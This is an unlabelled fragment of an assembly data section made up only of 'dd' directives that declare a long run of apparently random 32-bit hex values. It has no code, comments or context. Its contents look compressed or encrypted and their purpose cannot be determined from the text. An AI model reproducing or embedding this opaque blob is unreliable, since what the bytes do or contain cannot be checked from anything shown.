dd 5BD5D3BEh, 639260DCh, 687072FEh, 0BD087070h, 96E910F6h
dd 4C516256h, 2B0B4F7Eh, 6A5000F1h, 0C8412330h, 62000412h
dd 1573747h, 5E59B8CBh, 5A14EBC3h, 2BB5B33h, 18C868F8h
dd 6F6E7Ch, 40527F71h, 5E800C1h, 2D7BBE35h, 540B0D49h
dd 775F6D78h, 0B3AAEAB0h, 367327h, 0E9C30186h, 319F5A2Fh
dd 40F6B3h, 1380E528h, 0E6690EDh, 1F05213h, 0F05B8FBBh
dd 82EC4B49h, 3F24BF2Dh, 6F17BFD5h, 0BF607F69h, 8447B73Fh
dd 650F4B28h, 8947D071h, 6D4C80F5h, 1EE5C166h, 57D5F702h
dd 2094B123h, 0FE4AB3D4h, 4137BBD8h, 0ECAA20A7h, 6741D641h
dd 1CC17D48h, 0E0F1AC7Fh, 0B5D5E6E9h, 854F5BF9h, 5E98CA9Fh
dd 7B2F14FBh, 2A20871Ah, 0D2BEBE98h, 2F9AF3C0h, 5E53766Fh
dd 125FE9EEh, 8EEE12E9h, 0E88D5048h, 32A71601h, 0D2F7D787h
dd 136E6B61h, 0F88AAFB7h, 529544C5h, 33FC3187h, 379244E4h
dd 0DB4EC77Ah, 0FD4B6BFEh, 0E740D4EAh, 0F42F3BC8h, 4CF35034h
dd 8D10AF47h, 6680C94h, 0D4594509h, 60109FCFh, 0B7530102h
dd 5BFD28D2h, 0FD3AE8CDh, 1BD16B7h, 49338Ch, 1FF66850h
dd 0D58309Eh, 452FCB00h, 3B60057Bh, 2D7707A2h, 62FFC41Ah
dd 414AC131h, 5E1A70D6h, 0B55460BBh, 32CCBD19h, 21B9BB80h
dd 0C638A30h, 90990CDDh, 5F0897AFh, 130C3408h, 0BEA12514h
dd 0B469CF45h, 0E9C1FC4Eh, 0C52BC9ADh, 24FDB82Ah, 0F6094801h
dd 0B19E317Fh, 0BA4EC07Ch, 9F5DF778h, 3437CF31h, 0EE09B339h
dd 0FF281EB0h, 0F67B5E96h, 0C807039Ch, 85C79D34h, 6858C200h
dd 0F3195BD1h, 0C048009Fh, 0C48002E4h, 0CC8609FEh, 3D5C10E9h
dd 0DC04830Bh, 3AE9D040h, 5EB9535Bh, 2FDD9B8Bh, 396843ADh
dd 0ABAD16Ch, 623B292Bh, 7BB9C7B0h, 0C1407902h, 426BD816h
dd 0FEFBF026h, 52B17477h, 2B21F0F5h, 0CAFB57Eh, 3411BF38h
dd 0A69E5D95h, 9321E917h, 815CEFDDh, 0BBE340C8h, 8D7E7209h
dd 0C9F5E06Eh, 987F8231h, 18C4F2D0h, 6C50DC38h, 7805DFF1h
dd 7168E9FEh, 7B09335Eh, 0BEE67E23h, 5F7C8420h, 5B54E14Dh
dd 97BFD684h, 0C6A93F2Eh, 5F95F9F8h, 63904816h, 6BE1CE5Ah
dd 0D69FF36Fh, 0F42F18E2h, 3A6677E9h, 0F8D239FFh, 50D30519h
dd 5BC6A6E4h, 0CB20ECE1h, 89ABFFBEh, 779B0C00h, 789F0BC6h
dd 8C75150h, 1EDA7632h, 0E9ACC8FFh, 1A835D47h, 0EB4DEB5Bh
dd 96FD37F3h, 4E268628h, 0BC6512E3h, 8AAF4A6Dh, 27C88BF6h
dd 0C070B4BEh, 5EF607ECh, 8FFFDD4h, 3E188B5h, 0EAD059CAh
dd 44BF2D8h, 0E9C1C3F1h, 0D5813E61h, 0BC7FE888h, 5153A073h
dd 0BF3B60E9h, 0FEDCEE80h, 0C004C661h, 0B8EB07E6h, 5A31E999h
dd 0A8704178h, 2F1E0A27h, 54D16A84h, 0EA054073h, 3E22A908h
dd 48EA01DFh, 3B2A4D50h, 8A6A2DA1h, 89ED480Bh, 7C0B1C55h
dd 1F54485Dh, 0F2F52C17h, 20EB4867h, 74B80E53h, 5402E71h
dd 6EA219ADh, 96127CEAh, 4FE4228h, 0BA8DDA4Eh, 326C1961h
dd 0B810333Fh, 807101A5h, 42659809h, 0B1C402EDh, 5E0BD35Fh
dd 8B4F7E58h, 0E74B36Dh, 71BC8962h, 0FB2942F7h, 0AD8EDE09h
dd 6A662575h, 775123A0h, 0DDA12757h, 24C4E4D4h, 9796B2EBh
dd 0F31D72Dh, 80A4EF38h, 608E919h, 0FCC81CBDh, 15C9487h
dd 0A95832Dh, 847E30C0h, 3C685782h, 62826C17h, 81745F43h
dd 0BFF2E970h, 0BD52888h, 19DCE63Ah, 2EB4E153h, 895BF26Fh
dd 58C76262h, 3BC2B561h, 44551AC2h, 26122B3h, 7795C34Eh
dd 8F30A88Bh, 0FEE0314Eh, 2F3DCABBh, 4FCCE167h, 342AB441h
dd 62BA8005h, 7F5FAF63h, 20E13F90h, 100D5E1Bh, 5D2F07B6h
dd 0DD52BF7Eh, 0D115BAA0h, 60B7E072h, 4B71E968h, 6C8BFAE7h
dd 38BBF24Ah, 5FEA0DFh, 264B7EF7h, 0F6EB0029h, 89F5EC9Fh
dd 2771FA5Ch, 0A6A95B77h, 4F3110D5h, 0D39770FEh, 2DB0AD5Ch
dd 69B7C90Ch, 0FCE90C2Dh, 0A8734E23h, 9E5A4F09h, 9A7FC04Ch
dd 31E23F35h, 0AF2D2312h, 0A9F50A2Dh, 2A4A0DA7h, 14827C57h
dd 0ECD28B51h, 7CE0655h, 9767C88h, 1016653Bh, 33B559E0h
dd 9F3E59Dh, 60FAEB14h, 0D3271077h, 84D408h, 0F7523D4h
dd 8B95DCE9h, 0B25A4611h, 6E820E3h, 0CC19BA3Dh, 0FB5EE4h
dd 120AC124h, 0E91264FCh, 0FD221FBEh, 545E5D2Ch, 5D703EC2h
dd 0C736CAA0h, 0E772D173h, 0D5EF48h, 0F4B3168Bh, 0C192A2E9h
dd 0A445AB29h, 0F16F3141h, 0C20DEFBDh, 5516EA68h, 0BB0140F1h
dd 0DAC47EE7h, 1647C4ABh, 3121E5F1h, 1CDCFE45h, 0D0E5126Fh
dd 9A92F7F9h, 0C534BA04h, 1DE83294h, 8E70FAA5h, 0B7201DE9h
dd 7950B568h, 28E8739Dh, 5A972E66h, 45E8C058h, 81030396h
dd 0A2050EE1h, 3EF1B062h, 32100B0Dh, 2270E983h, 6DF7CD0Fh
dd 7A0F0BCFh, 0A2EB019Ah, 10ADC4Eh, 6B8220D8h, 98575F40h
dd 17F809F7h, 0BBF0763Ch, 71098173h, 7D6FF76Dh, 6814385Ah
dd 814A3B2Eh, 4E286941h, 64A37683h, 0C002A2Dh, 6C437C6Dh
dd 0B0E94941h, 93C9AE1h, 0FB442C35h, 0B81A1A03h, 70C2F735h
dd 20B3A1EAh, 0F15F5067h, 0FCB2AC90h, 0E2345E4Bh, 50FD208Dh
dd 417AEE87h, 77EF22F3h, 0FD6F1241h, 0BF8300C4h, 0D1312E25h
dd 139FA85Ah, 0AA5760A1h, 1DB6217Eh, 6720B2B0h, 0B95D4FE8h
dd 0D1FA9368h, 0BB11C5BAh, 0FFA52723h, 47405420h, 0E5951F2Dh
dd 0F353A50Bh, 81F3924Eh, 0A7EC97h, 0CE2DF668h, 78525B75h
dd 4D380556h, 5E058Ch, 0B573C6B9h, 0D8BF6B09h, 6F2C54Eh
dd 19A60042h, 298BF42Ah, 0E916DEB0h, 10C965A0h, 8F3C85E1h
dd 0DF31BD5Ah, 0CB5BD54Ah, 1217DA94h, 0E7FB61D6h, 90A100Bh
dd 5522BE02h, 42DD75FDh, 364BFDDBh, 0DF680398h, 0A68C1C5Ah
dd 20429FA4h, 708F79D5h, 0E4B26E9h, 0C0698CEBh, 0D8AAF54Ah
dd 0A09F92EEh, 128AE69Dh, 1307638h, 5C1496EEh, 2FF329E3h
dd 16C17B61h, 0E6F9FA14h, 5329A705h, 523E178h, 0B6970407h
dd 0BC680764h, 401EA052h, 817C8B02h, 3F7BF158h, 40E34737h
dd 0EA93250Dh, 0C5E8CD5h, 413F023Ah, 0E521E97Ah, 0D6E89F5Eh
dd 65680B30h, 0DF469F14h, 4B3F534Ch, 78C3CBFAh, 0AB9050F2h
dd 55ECE40h, 9468D829h, 74D4A307h, 284CB0FAh, 1A980449h
dd 9D06FD9h, 2776E305h, 0EFDE2662h, 0B09D0720h, 2516B85Dh
dd 94FA5FA9h, 2810B00Ch, 13C6DA1Ch, 0B80AB620h, 0BE9A040Ch
dd 0D28441EFh, 8EB7D5AAh, 8040254Ah, 4B6855D9h, 8383A85Bh
dd 7A489DC1h, 0CA3D0A28h, 42ACAF3Dh, 79565F4Bh, 92AD825h
dd 688BC4BEh, 6D4DBBF0h, 0A6A95A6Ch, 7BA668F3h, 356E925h
dd 0B0CEBF12h, 7C217AC8h, 122E4FFBh, 988BFF28h, 0B44DE9C2h
dd 9769167Fh, 7BDC8020h, 120050Ch, 9C58254h, 0E298890Ah
dd 6E14F75Dh, 540951D2h, 0CE71D53Fh, 0CFC424B4h, 0A40956BEh
dd 590C5DC1h, 2EDBE6E9h, 975A98ACh, 7D73642h, 0F3DE6E82h
dd 0AE640B31h, 0A23EEC2Bh, 31562614h, 609CC19Dh, 0BF50304h
dd 16102316h, 0D46029AAh, 6DF06288h, 0A0295097h, 81D5F74Eh
dd 790E8966h, 0DE1564EDh, 0EB12B4AAh, 0BDB077ACh, 0BB0B6449h
dd 6254E947h, 4F1981D2h, 508D073Eh, 0D81657F8h, 0B71E5366h
dd 2BB88E1h, 0F6C8FE5Bh, 0E09E82D0h, 0EE290539h, 3930B38Dh
dd 0FFCC9762h, 8EDADF34h, 165F8EBEh, 4440B4E9h, 697D8BBDh
dd 4F4D584Fh, 6B98022Fh, 27015CAAh, 64A350Ch, 0F02B3833h
dd 3A165B62h, 4B85444h
dd 0BAED8117h, 81BAF0C5h, 6C190353h, 0A8E9E449h, 2BE30D89h
dd 7EF78184h, 0C3199756h, 0CDBEDB40h, 986ADF4Ch, 39770987h
dd 545009ABh, 0FC90DDE6h, 0B03672B7h, 0D59760C4h, 0EA23DC3h
dd 355EE4F4h, 30BCF2B5h, 0EED83497h, 0BE563E20h, 4B48734Ch
dd 770C045Eh, 0DE5109F7h, 85B0548Fh, 0FB35F74Bh, 67C88981h
dd 89628204h, 21EB91A0h, 11749514h, 0D51C5F27h, 50EBC516h
dd 0E4968DBh, 157615C4h, 112D2A2h, 971806F9h, 0BD072AE2h
dd 11B4328Ah, 99927A2h, 47F86D00h, 0CDF170Fh, 0B46EA801h
dd 0F387D129h, 1B7539F9h, 18A43800h, 0CC04A8Ch, 43DD250Fh
dd 2D15FE9h, 0FE885284h, 9F20D4F4h, 6EF1D20h, 46ECF68h
dd 5C0B5327h, 0FD5F1A34h, 6D00D329h, 6FC2A1Fh, 751848B8h
dd 0EF188341h, 0B280497h, 0BBFE21E6h, 6D90E417h, 3DC07BF3h
dd 4FAC1B70h, 3270A7E6h, 1FA9F552h, 0EA4C7B2Dh, 25C7782Eh
dd 0F050856Bh, 5FABE913h, 4B77978Ch, 129CCBBh, 4BF6CA4Ch
dd 0BE3884BAh, 0E912119Ah, 0FBA1C451h, 2D7F45C7h, 0D13F4FE1h
dd 5CC41Eh, 0E157D068h, 0D65CF97Bh, 967F9FE1h, 44000C7Fh
dd 1497E5Ch, 24E957FBh, 0A5478F32h, 0CBB78582h, 0F9E1F603h
dd 0F9ADA4EEh, 9E0820F4h, 0ABFA8A11h, 91E64E89h, 0D42D8B71h
dd 84175965h, 0CCFEE3D6h, 0C869680Dh, 0B071D7ACh, 76DDE942h
dd 0FA96256Eh, 44BF63FEh, 2B5B0A08h, 3DA5CEFh, 0CEE326Dh
dd 0AD841800h, 10E9E470h, 5F6E97A0h, 56094398h, 0D817A65Dh
dd 0AA54FDD2h, 2DDE9280h, 0C35F5F76h, 80FA566Fh, 763CF3F4h
dd 0D9260490h, 75692C9Ch, 9BCA8AAFh, 9F6885DCh, 41806225h
dd 7E89AC6Ah, 7E1284h, 2C4D76BFh, 28EBA16Fh, 68C0CC2Bh
dd 0B329222Ah, 7F3D0320h, 0DDDFA05Fh, 0CBFDEB64h, 3CC31091h
dd 56202768h, 37363CFh, 0F48336E6h, 0DEC1A4ECh, 9D5AC340h
dd 0B9C61942h, 90B5F773h, 95AEE6A5h, 55692579h, 767DFD62h
dd 0D7E65052h, 5040FEB6h, 4D2F22B8h, 3A104A4Eh, 0EB8000C0h
dd 0F6C3FEBCh, 0A6EFF9D3h, 88511C36h, 40896F9h, 0A6218066h
dd 0C4491764h, 688023E3h, 6F086BEBh, 16C14CBDh, 0B10BE9FAh
dd 6DAE2E82h, 4C7360A8h, 4F148D39h, 532F2CEDh, 0BE672345h
dd 272C2801h, 0FC8F1060h, 0EB075848h, 0AB1F6B38h, 73C90176h
dd 30086E63h, 50236E0h, 0E9492DDFh, 77E76A21h, 0D6C34A98h
dd 0D1270724h, 811E502Dh, 0E965908h, 10B3A602h, 7F7E4675h
dd 0C43B18E3h, 0A4DE285Fh, 0DE19C12Dh, 0ECC64205h, 0DF40D2D0h
dd 49471323h, 4FE2BB78h, 0F758C503h, 0E2DB45DDh, 0EE7B5BE6h
dd 39B0340Eh, 5310D301h, 8CD5A08h, 0E0F482EAh, 2573E4F8h
dd 275D187Fh, 52AB088Dh, 57A0457h, 0BF296D89h, 0C035E99h
dd 51E2F2E9h, 0E5680104h, 7C435715h, 5023A0Fh, 0F4E92BB1h
dd 0B2EF83D5h, 8ED81004h, 0C0705A27h, 0D76AD5BCh, 0AF06217h
dd 0D7EF50C0h, 94B02550h, 0CFE0D058h, 0F8305909h, 0C9A50E5Bh
dd 61CD1232h, 8764287Ch, 0CBDEB7BDh, 1E2E123Dh, 0D15AE9F2h
dd 2E547DE6h, 910B5F74h, 0BCA2D788h, 644C5A3Dh, 0C3708B14h
dd 0CCCB10BEh, 0E5EE4A32h, 0F1E3F7E1h, 0F15687Ah, 58AC180h
dd 67EF0B57h, 0F04DA43Eh, 7CF533E4h, 3865F5DFh, 0B87A95EEh
dd 8D7916D0h, 2517F735h, 0A04BE7FDh, 0C24A0CFFh, 68F0248Dh
dd 0E9635BAEh, 8A22C4B9h, 45755909h, 91A408F0h, 105D0027h
dd 4A89FD49h, 3BBBCDD6h, 52FF0A16h, 0DB01AA68h, 0F4D341F5h
dd 0D5C1E2DEh, 68856CDBh, 46527C70h, 218437E8h, 0E165EED8h
dd 9396F6AAh, 13EB7008h, 7074FA5Bh, 7B5866A6h, 6DFD3525h
dd 0B257AF4Eh, 0FEE617Dh, 9B84A7A7h, 9EF4BAEDh, 0B26F4F55h
dd 0C3E5007Ch, 0C1691041h, 0E90316EDh, 4C88590h, 13345F26h
dd 60B600FAh, 0CE296240h, 64F6BBA0h, 6556032Ch, 0F0CB5F17h
dd 354DEE02h, 7B620AD7h, 0F62D940h, 854B263Dh, 41F13A2Fh
dd 93810CD5h, 0DF3D2C12h, 0BAC0963Fh, 7E28260Dh, 30258033h
dd 0F2BE0C45h, 0D6E5A45Eh, 6809F83Ch, 521A59EFh, 49DCDA80h
dd 5E98302Ch, 0E5A89E4Bh, 4653E5C5h, 8BDAC4BFh, 25670A05h
dd 0B5820921h, 979BD032h, 7AA3B657h, 0F160905Ch, 109F043Dh
dd 41590722h, 0CB26D931h, 0D3F73508h, 4EDEF8EAh, 0BF2BD699h
dd 0E66B6639h, 84974C41h, 1918D44Fh, 505AB268h, 5B549BCh
dd 53060BD1h, 0E310BAC6h, 5CBC5808h, 106B48C3h, 680A4C95h
dd 9E68064Fh, 27276856h, 547B015Eh, 6135153Fh, 0F84212A6h
dd 0CDC956ECh, 3254F2E1h, 5ACE3BADh, 0B7846627h, 617F10A1h
dd 26F02132h, 15E25B6h, 0BBE95770h, 13230AFEh, 0B9F2C01Bh
dd 425F6915h, 0D31108A0h, 4E48FC0Dh, 14A039EBh, 18C4FF9Ch
dd 0FD5BECDAh, 54D6D849h, 2C574F5Dh, 0BF9C2DA5h, 0A73D542Bh
dd 9BF8372h, 4835E2E8h, 0B2D91BEh, 426C20CAh, 1663E184h
dd 0D805D0B8h, 0C160A579h, 0F840E02Bh, 0EC04714h, 0ADAAB8Ah
dd 5FFD0989h, 404EE31h, 0C623FCADh, 97D854F6h, 0AE43D082h
dd 20D53003h, 92BE752Ch, 27F06807h, 26C5D50Bh, 48137D2Ch
dd 4062D428h, 62905447h, 0C54DDF66h, 0E308F423h, 0B2592095h
dd 0A3C9BE92h, 13EBB26Bh, 37C9D2EFh, 67F01645h, 0C8070FBFh
dd 0A2461A3Ah, 51B5654Bh, 2B923DA0h, 3E635BFh, 967F2F4Fh
dd 0D73FA494h, 0AC881B65h, 53FB4FEAh, 38068F66h, 184460E1h
dd 0FA5E0740h, 5C0A89Eh, 5A8613B0h, 20D0A8ADh, 0CC1CBF01h
dd 0D239D69Dh, 68505476h, 0AD605426h, 0E8E54F94h, 0CFEC585h
dd 83658A48h, 96003BDh, 0AB6045C2h, 8E007D0Fh, 7B14357Eh
dd 4AE93B69h, 0D8B4F538h, 0DB9D0A0Dh, 4B27A690h, 5CE13E73h
dd 798529E9h, 0FC20B551h, 73B84F79h, 5334B203h, 32F7D388h
dd 27DEF6DDh, 413AE989h, 0F27A21A9h, 70BCD3BDh, 28491104h
dd 0E3AA0E12h, 84E9A4A9h, 9520EAB1h, 0BB72408Eh, 992F0DFCh
dd 255E5629h, 0E84EB501h, 72C40477h, 23680802h, 0A0ACD96Ch
dd 71F5E21Eh, 0A82ED75Eh, 1E74E19Bh, 182B307Eh, 567D414Bh
dd 84C4FB4Bh, 0A047ACEEh, 4A456855h, 0DE30EB0Dh, 0BED5B3E9h
dd 86044980h, 0ED6DEE67h, 0B475EB3Bh, 8C53A0h, 0B81AE751h
dd 0E518AE78h, 0C19F589Fh, 0C91E483Eh, 0E7E52F38h, 44E90801h
dd 50C10C3Ah, 845B41C0h, 1FA22075h, 3D13710h, 0CC54E168h
dd 0C040206Dh, 480D70B7h, 2B2DC165h, 8814FF2h, 0BBA625Bh
dd 82E1F766h, 5D1F611Ch, 2E43E59h, 9638E920h, 0BF7766B5h
dd 24EDC64h, 4297F5A7h, 1075E99Bh, 40A82773h, 0EB5F2550h
dd 477A8D05h, 79804318h, 4A67556Fh, 0ECE016AAh, 3C8E0206h
dd 775A49C9h, 0A2DACDE2h, 6C6D8212h, 0C0D6090Fh, 3A12BB53h
dd 1067F71h, 0D337E1E3h, 0DCD14B40h, 93B293E9h, 136C73BDh
dd 0B062B85Bh, 5BBC6452h, 2AD2C056h, 424A2606h, 0FAC2F290h
dd 63C70B5Dh, 36E61368h, 3E6236A1h, 0E238CA8Ch, 597B2DFEh
dd 0C9D01A42h, 67B54C0Eh, 1DE1374Dh, 0F49E346Ah, 195F68E7h
dd 0E9C2EFF8h, 13F2139Ah, 2A08AD14h, 0F94A10E9h, 0E589FE4Eh
dd 0B54736ECh, 0E760F774h, 90C71AC5h, 169BF6F0h, 53590B62h
dd 412CEAADh, 0F42B4BFAh, 44B04957h, 0C0531A30h, 4B4612CFh
dd 84BBE041h, 0DF00BB41h, 4E6927A6h, 8615002h, 0D99C7049h
dd 2A1CA8C3h, 0E955E970h, 38CA5B9Dh, 0A99853E0h, 236E350Eh
dd 7C4C8161h, 96613DBCh, 0FA27843Eh, 6FF1C169h, 681E5478h
dd 0D805EC7Ah, 2C4ED2E9h
dd 7E84E5E8h, 4A8BB2A0h, 0F7C58692h, 4F62454Ah, 0C595AD70h
dd 0C0CA127Dh, 6E2C1D2h, 0F2ADA095h, 1084B933h, 27D70168h
dd 2AC910C7h, 7ADD82F8h, 9D176038h, 736EBE56h, 68305F05h
dd 30EF0FD5h, 2554BF4Fh, 0BE780202h, 0F72C3841h, 0A521D08Ah
dd 9FBB36DFh, 748BC7FCh, 780D5C0Ah, 0E84B77E9h, 9ABAEB8Ch
dd 187CBD4Dh, 0E95F6852h, 0BE6A5E14h, 0D36CB044h, 92366D1h
dd 4F73E62Bh, 0FD5BAB8Ah, 0A42CCD5Ch, 0B12657C5h, 0DA142805h
dd 0A35EEC6Eh, 37C9B849h, 6EAA3E62h, 721DF1BBh, 1500ACFAh
dd 510FB438h, 9C24D8B1h, 141CB73Bh, 86C4C101h, 0EC33716Ah
dd 7049689h, 912D1AB9h, 0BBD1F712h, 8C588C6Eh, 0E105EC11h
dd 0F0D37FC2h, 0B8E0A3C5h, 5B032468h, 0EF20C2C1h, 94256CC5h
dd 0DAB794EAh, 405AC1h, 2D5B66BEh, 2D7C5E0Eh, 0A49B858Bh
dd 98583A4h, 5585BDA3h, 91DBEB14h, 644CDE52h, 1E4A110h
dd 54F6CF81h, 36307C9Fh, 18291425h, 1301F106h, 0E9491D68h
dd 0B2A2DA35h, 79FD5BD9h, 0AAD2C5F5h, 7A90344h, 9556E4F4h
dd 6FC1A0C9h, 0CA4AB2F8h, 0D9C95F86h, 5B689F2Fh, 0DC2CAC42h
dd 0AFB02FEh, 0F509BB19h, 84607FC9h, 60FF2D59h, 0FC9A5E0Bh
dd 22B5524Ah, 96C8C7Ah, 2C473100h, 79A117Ch, 92CF12C7h
dd 0E021F022h, 0C2D19h, 549DD2Ch, 3DE92B43h, 9616D49Fh
dd 5FEE65Ch, 548C4AE0h, 81F6C8ABh, 263AF304h, 0BEC02B8Ah
dd 3F1D4FDh, 5BDF29F9h, 8E99BF2Dh, 5F8E053h, 0B94307A2h
dd 5E5E09ECh, 0E9EE7825h, 8DE60728h, 3BC2801Ch, 4028B232h
dd 825BBA9Ch, 0F436D25Fh, 97D6BACEh, 2940E9BCh, 3F764138h
dd 0DA470BB1h, 89A167A0h, 98C8E457h, 0EF175F3Ch, 0A45CE57Ch
dd 0C9DAC90Dh, 5219BC58h, 1E6A7FB6h, 2ED9FDC2h, 684EC8E9h
dd 0C54049C7h, 54B7884h, 0B500E5C1h, 86721BF5h, 4C54FC1Eh
dd 40A01CAAh, 6200470Dh, 0E8C134C3h, 0E4E92D06h, 0A1015EFBh
dd 0A6E76E1Ch, 0DC4F347Fh, 57BEC2E7h, 25F0F70Fh, 0B3B40D50h
dd 0A5618868h, 81544222h, 6E580EBh, 24B2288Bh, 58097954h
dd 279B7F1Ah, 624871CAh, 5373DC88h, 15208AB8h, 4BF8BD9Bh
dd 1D7C2C2h, 0C183DE89h, 3AC77AE9h, 0CCF77AD0h, 760E2E10h
dd 942AC1Eh, 47E8D782h, 5E825569h, 2FE206Bh, 0ACCA645Ch
dd 657FF131h, 2985891Dh, 8A04B7DAh, 89F436F7h, 48860E81h
dd 5B7D6800h, 888918B1h, 7E70D7F4h, 26C7D39Fh, 45290B3Ah
dd 1C8962E5h, 5A13D444h, 0A61304FDh, 6850BA80h, 361E5595h
dd 5D3FAAE9h, 504082D1h, 78D7250Ah, 630882F6h, 0DA02FB57h
dd 0BDA670A8h, 0E1E5B9F9h, 7C5AF449h, 0CFF8B957h, 53E4D906h
dd 3888BBBDh, 9C7419EEh, 3ED1A01Dh, 18E95E02h, 9B6757C1h
dd 65ED7F3Fh, 0E4C63AB8h, 183DBEB2h, 0CB0FCF86h, 0E477D6A2h
dd 2E749FC2h, 0B4169D6Ah, 0A67B40F1h, 0C8EA4E9Fh, 44D2CA4Ah
dd 7AB1B7ACh, 9A680076h, 0CD97C505h, 0C737AE11h, 7502D392h
dd 56808D67h, 0DBB35968h, 0CD27B45Bh, 42334191h, 0FD5C0257h
dd 5066FF4Ch, 4FC8584Dh, 4A39FC37h, 0BDA160FFh, 0E59CFEF7h
dd 9D92FBCh, 3FE2E5AFh, 0FEFDEF0Ah, 3E0F78B7h, 0D6EAC080h
dd 0CA04FA98h, 0BE17EB89h, 0C8AE6AD5h, 9C40B53Eh, 0C4C2EDC1h
dd 0BD452A3Ch, 9D1279Ah, 50704C5Ch, 403C03B8h, 5CE91DB0h
dd 0C265FFE4h, 0D3A5A2AFh, 31E51741h, 24206F23h, 101500B3h
dd 4794BD08h, 0E9197733h, 0FAB3B1A0h, 0D33E0531h, 5F75F68h
dd 0A1FCAC9Ah, 17819611h, 8D2A3BEEh, 12502A33h, 0FF0C6B08h
dd 0B681E2Ah, 9E5810E9h, 0BB67BB7h, 65D54451h, 8E5C9251h
dd 0C8D951D3h, 331296BEh, 190002B5h, 4F3527E2h, 814E4FE9h
dd 20F828BCh, 75C05A09h, 7BB951D8h, 0C07DE444h, 0C0203240h
dd 0BC5AE93Ah, 74663D0Bh, 0C97A4252h, 4C309C09h, 0A55FD456h
dd 0C7257EFDh, 2897B5CAh, 5B9D5AADh, 0D6E98BD0h, 0BA52BCA0h
dd 413D308Ah, 0F2849832h, 48C15A92h, 1E274FEBh, 6F05CC41h
dd 1040EECh, 0AB5A5818h, 42AE6A34h, 7B6E6843h, 0CCEE1A2h
dd 0F0D8620Bh, 0C727442Ah, 5F556AB7h, 7EB50658h, 7CE90F78h
dd 2A60279Ah, 7E76A022h, 0A9DDF11Dh, 5ED6439Eh, 95BA97E0h
dd 816182FDh, 84187D44h, 0D6546BE9h, 52B5F89Dh, 3F60B08h
dd 9C8973B5h, 8D770F29h, 670D1CB1h, 450D293Fh, 0E9109013h
dd 5DCE1193h, 0E721E5C2h, 0EC4E078Ah, 3A92AD18h, 0BC573466h
dd 4F500101h, 1F682F4Ch, 2E61B62Bh, 0F6890464h, 0BD3D84DBh
dd 65EA8BBAh, 43FC9FDCh, 0E03E64C1h, 0E2933110h, 2583672h
dd 0B5ED2EE7h, 4419FBA7h, 0EE800387h, 6AF699F1h, 9D6DC3D8h
dd 0B36A0E77h, 81662DFFh, 0C3284C1Ah, 167F66E9h, 128DCB36h
dd 8882D654h, 90ADF7D0h, 4B9C1EEEh, 0F79828AFh, 0C0AE04FFh
dd 65F281F6h, 76485013h, 9C523700h, 0C72960B3h, 9C45E9ECh
dd 0D1EC462Eh, 53038094h, 0A266F7B3h, 61484280h, 403890C0h
dd 1158F5Ah, 0E9C8BE0Fh, 0AB2AE533h, 0BBC23177h, 5A985514h
dd 7FAB6994h, 0BF6448C1h, 9D74202Bh, 0E46FD879h, 0A3EA47C3h
dd 68A26195h, 0A23E21C9h, 6FA977Bh, 2C5F3AADh, 8970C990h
dd 1866DA26h, 3B930800h, 98F92946h, 0F8214A41h, 555AA01Fh
dd 31A02BDh, 70E90893h, 442FDED6h, 0B0909037h, 0BCE14A26h
dd 3568A17Ah, 1C4FA36Ah, 28B1F4E9h, 7D70C680h, 1376BDF3h
dd 30E6AA88h, 0C57331A8h, 0E7814702h, 0DED679FAh, 0E8F3EEDh
dd 0BFB20F5Ah, 1DE9C747h, 9F8B4E59h, 1EC86172h, 0C32952C0h
dd 0FDA38990h, 826B5288h, 18135584h, 2D3446FEh, 0A9E041A1h
dd 0EC4C37D2h, 77ED02D1h, 0FE55E851h, 0B78E0902h, 0D7659EFCh
dd 662D20BCh, 862E215Fh, 0FDEEFEC6h, 0E985C16Dh, 0A74B0E94h
dd 56F483EDh, 5B100BB2h, 3E57348Bh, 583794F6h, 0D4A05051h
dd 59815467h, 0D3DB0BD8h, 0F88E448Dh, 0FB310760h, 580B1CF3h
dd 0F6262B0Eh, 0D4584798h, 6495AEACh, 852A1C04h, 0E4FD8807h
dd 1645FDA8h, 87BEF581h, 0ED96C3E1h, 5551875h, 0AA828A81h
dd 7909478Bh, 0B7401609h, 0E2D265D4h, 0E1D551C6h, 93E8D5E9h
dd 64EF296Ah, 56A6AE00h, 0DB1CD305h, 1E2CAA4Fh, 3D3512D1h
dd 5B980075h, 475CB439h, 0AD6856B7h, 212E0FD5h, 698C5E72h
dd 9AADE0DBh, 55DD27D8h, 687C1FD8h, 849A239Ah, 25E8BA05h
dd 12BB6CEAh, 0D1560B5Dh, 0E413C8Eh, 30215155h, 5B19715Dh
dd 50FA189Bh, 5E5F15ECh, 48A0ED31h, 3F300D2h, 0E9854FB1h
dd 97139219h, 3E02F679h, 4004287Fh, 2F405056h, 309895C3h
dd 14F41E9h, 5C440EBh, 38F0F90h, 0D8EF8CA1h, 38B06D2Dh
dd 7DC10995h, 549F0D9Ch, 0FD820982h, 0EE2FA7D1h, 0F53FA1B2h
dd 0F93FFF25h, 0A98AD39Fh, 0CF1C5B79h, 7DC569BDh, 0B035B54Eh
dd 81EDCF64h, 7CB85Eh, 23B43336h, 92E7C14Fh, 89C84B0Eh
dd 0E07DE08Dh, 2CB567B7h, 27A2028Bh, 585411DCh, 4F446602h
dd 0D6A1430Eh, 845F97C7h, 36B2C911h, 14869899h, 34A6EFC4h
dd 47016A7Fh, 8F090045h, 72AD6806h, 0F8B23DCEh, 12B3C59Bh
dd 0FB2E3A50h, 0B24D454Eh, 1392E1C8h, 1E1A1B4Ch, 0C203F42Ch
dd 90D88h, 202FE065h, 0EB012E3Dh, 0AB5B9233h, 0FEB82F49h
dd 955F2523h, 0D0898916h, 0A51C7BDFh, 0FB9DAD50h, 6B5CE947h
dd 2BC04B39h, 388099B2h, 0D53A9FEDh, 0FDCAC5BAh, 0B75380BEh
dd 0FEDFF63Ah, 81303C7h, 0E1E95BFDh, 69F3BACCh, 5B8933C8h
dd 0C233F721h, 2A7063D2h
dd 0D72B902h, 0F55120E2h, 0E9127A5Ah, 0B36713h, 0B9755603h
dd 0C2F15249h, 0FE3CA5D0h, 0CA7B8E92h, 8782E629h, 78E0BE5Fh
dd 0E916E078h, 861ECE5h, 81005AC6h, 461EBBCBh, 27FF4C59h
dd 0EEE0522Bh, 0E186469h, 0E5FCBB05h, 0C0104F7Ah, 5550BBD0h
dd 0D4271F27h, 93CE80DEh, 4E256E72h, 0C8020190h, 0E97B853Dh
dd 0FE2823CAh, 1E705CBAh, 881CD795h, 0C237E927h, 0F657E667h
dd 6702BD31h, 0B7FCDFEh, 200C7075h, 0B30FC6A7h, 0D2B5514Bh
dd 88F3D8FBh, 5FA8DC5Bh, 0E9B3E4B0h, 551E5D2Dh, 6857DEB0h
dd 6D43A11Fh, 0B8015F93h, 0E760105h, 17C04920h, 0E819531Ch
